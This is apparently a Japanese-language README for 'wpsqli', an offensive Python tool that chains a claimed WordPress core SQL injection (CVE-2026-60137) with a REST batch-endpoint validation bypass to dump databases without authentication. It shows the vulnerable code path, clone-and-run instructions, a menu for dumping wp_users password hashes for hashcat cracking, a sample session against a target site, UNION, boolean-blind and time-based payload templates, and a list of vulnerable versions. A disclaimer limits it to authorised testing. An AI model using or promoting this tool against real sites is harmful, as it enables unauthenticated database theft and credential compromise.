
wpsqli full SQLi extractor + dumper for CVE-2026-60137
WordPressコアの
author__not_inSQLインジェクション脆弱性を悪用する、メニュー駆動型の高速データベース抽出ツールです。このツールはデータベースの列挙とダンプに特化しており、RESTバッチルート混乱 (CVE-2026-63030) を利用して未認証でSQLiシンクに到達します。
wpsqliは、WordPressコアの連鎖的脆弱性を悪用してデータベースへの未認証SQLインジェクションを可能にする、純粋なPython製ツールです。バッチルート混乱バグを介してWordPress REST APIの検証をバイパスし、生の文字列ペイロードを直接WP_QueryのSQLシンクに届けます。
このツールは速度と柔軟性を重視して設計されています。UNIONベースのインバンド抽出 (即時) を自動的に試行し、8スレッド並列のブールベース・ブラインド抽出にフォールバックし、必要であれば最後に逐次型の時間ベース抽出にフォールバックします。
このツールは、未認証のデータベース抽出を達成するために2つの独立した脆弱性を連鎖させます:
author__not_in SQLインジェクション (CVE-2026-60137)場所: wp-includes/class-wp-query.php, WP_Query::get_posts()
author__not_inパラメータは、入力が配列の場合にのみabsint()サニタイズを適用します。文字列が渡された場合、is_array()ガードはスキップされ、文字列はimplode()を変更されずに通過し、生のままSQLの$where句に連結されます。
// Line 2404: guard only fires for ARRAYS
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
// Line 2408: string passes straight through
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
// Line 2409: raw interpolation
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
REST APIの投稿エンドポイントはauthor_excludeをauthor__not_inにマッピングしますが、整数のtype => 'array'として宣言しているため、コアは文字列を強制変換もしくは拒否します。バグBは、RESTバッチエンドポイント (/wp-json/batch/v1) の非同期化バグを悪用して、文字列を検証プロセスをすり抜けさせます。wp_parse_url()が拒否する不正な形式のパスプライマーを注入することで、WP_Errorがバッチリクエストリストにシードされ、$matchesと$validationの同期が崩れます。これにより、後続のサブリクエストがパラメータ検証なしで誤ったハンドラの下でディスパッチされることが可能になります。
注意: SQLiシンクに到達できるのは、永続オブジェクトキャッシュ (Redis/Memcached) が使用されていない場合のみです。
pip installは不要です。wp_posts行を作成し、単一のHTTPリクエストで文字列全体を抽出します (即時)。Ctrl+Cで現在のクエリを停止し、セッションをクラッシュさせることなく部分的な結果を返します。ID|user_login|user_pass形式が含まれ、hashcat -m 35500でそのまま使用できるbcryptハッシュが含まれます。インストールは不要です。ダウンロードして実行するだけです:
# Clone the repository
git clone https://github.com/AdarshThakur14777-cyber/CVE-2026-60137.git
# Navigate to directory
cd CVE-2026-60137
# Run
python main.py
要件:
対話型メニューを起動します:
python main.py
============================================================
WP SQLi Extractor v3 (CVE-2026-60137)
============================================================
------------------------------------------------------------
CONNECTION
0. Connect / Change target
1. Check target (version + vuln confirm)
------------------------------------------------------------
FINGERPRINTING
2. MySQL version (@@version)
3. Current database name
4. Current DB user
5. WordPress table prefix
6. Dump wp_users (ID, login, pass hash)
7. Custom SQL query
8. Extract all fingerprints (2+3+4+5)
------------------------------------------------------------
ENUMERATION
9. List all databases
10. List all tables (current DB)
11. List columns of a table
------------------------------------------------------------
DUMPING
12. Dump a specific table
13. Dump all tables (current DB)
14. Full dump to file (all tables + all rows)
------------------------------------------------------------
15. Exit
============================================================
Choice: 0
Target (https://example.com): https://target.com
Skip TLS verify? (y/N):
Sleep delay for time-based (default 3):
[*] Connecting to https://target.com ...
[+] Batch endpoint: https://target.com/wp-json/batch/v1
[*] WordPress version: 6.9.4 VULNERABLE
[*] Testing UNION-based extraction ...
[!] UNION not available — trying boolean blind (8 parallel threads) ...
[+] Boolean-blind mode active (8 threads, ~7 reqs/char)
[+] Time-based also works (0.69s vs 3.78s)
| オプション | 説明 |
|---|---|
0 | ターゲットに接続 (URLを自動サニタイズ) |
1 | 脆弱性と現在の抽出モードを検証 |
| オプション | 説明 |
|---|---|
9 | MySQLサーバー上のすべてのデータベースを一覧表示 |
10 | 現在または指定されたデータベース内のすべてのテーブルを一覧表示 |
11 | 特定のテーブルのすべてのカラム名を一覧表示 |
| オプション | 説明 |
|---|---|
12 | 単一のテーブルをダンプ (行数制限とファイル保存はオプション) |
13 | 現在のデータベース内のすべてのテーブルをダンプ |
14 | 完全ダンプ — すべてのテーブル + すべての行をタイムスタンプ付きファイルに出力 |
このツールは速度順に3つの抽出モードを自動的に試行します:
抽出した値をpost_titleカラムに16進エンコードした ( ||..||マーカーでラップされた) 偽のwp_posts行を作成します。REST APIがそれをレスポンスにそのまま反映するため、文字列全体が単一のHTTPリクエストで取得できます。
CONCAT(0x7c7c, HEX(CAST((<expr>) AS CHAR)), 0x7c7c)を使用UNIONが使用できない場合、8つの並列スレッドとバイナリ検索を使用して各文字を抽出します。ブールオラクルは、注入されたAND (condition)が行を返すかどうかをチェックします。
ブールオラクルが行を返さない場合のフォールバック (例: 公開投稿が0件のサイト)。IF(condition, SLEEP(N), 0)を使用して、レスポンスの遅延に真偽をエンコードします。
このツールは、許可されたセキュリティテストおよび教育目的専用に設計されています。このツールは、自分が所有するシステム、またはテストする明示的な書面による許可を得たシステムに対してのみ使用してください。コンピュータシステムへの無許可アクセスは違法です。
このツールの作者および貢献者は、本ソフトウェアによって引き起こされた誤用や損害について一切の責任を負いません。自己責任で使用してください。
このツールは、教育および許可されたテスト目的のためにのみ提供されます。
| バージョン範囲 | ステータス |
|---|
| 6.8.0 – 6.8.5 | SQLiバグは存在するが、チェーンには到達不可 (バッチ混乱は6.9.0で導入) |
| 6.9.0 – 6.9.4 | 脆弱 — 完全な未認証チェーン |
| 7.0.0 – 7.0.1 | 脆弱 — 完全な未認証チェーン |
| 6.8.6 | パッチ済み (SQLi) |
| 6.9.5 | パッチ済み |
| 7.0.2 | パッチ済み |
| 7.1-beta2+ | パッチ済み |
| オプション | 説明 |
|---|
2 | MySQLバージョンを抽出 (SELECT @@version) |
3 | 現在のデータベース名を抽出 (SELECT DATABASE()) |
4 | 現在のDBユーザーを抽出 (SELECT CURRENT_USER()) |
5 | WordPressのテーブルプレフィックスを抽出 |
6 | wp_usersテーブルをダンプ (ID、ログイン、パスワードハッシュ) |
7 | カスタムSQLクエリを実行 |
8 | すべてのフィンガープリント (オプション2〜5) を順番に実行 |
| モード | クエリあたりのリクエスト数 | 速度 | 使用される状況 |
|---|
| UNION | 1 | 即時 | オブジェクトキャッシュなし、カラム数が一致 |
| ブール (8スレッド) | 約7 × 文字列長 / 8 | 高速 | UNIONがブロックされ、行あり |
| 時間ベース | 約7 × スリープ × 文字列長 | 低速 | ブールオラクルに使用する行がない |
| 抽出対象 | 文字数 | リクエスト数 | 時間 |
|---|
| MySQLバージョン | ~20 | ~140 | ~15秒 |
| データベース名 | ~15 | ~105 | ~12秒 |
| DBユーザー | ~25 | ~175 | ~20秒 |
| テーブルプレフィックス | ~5 | ~35 | ~5秒 |
| wp_users行 (200文字) | 200 | ~1400 | ~2分 |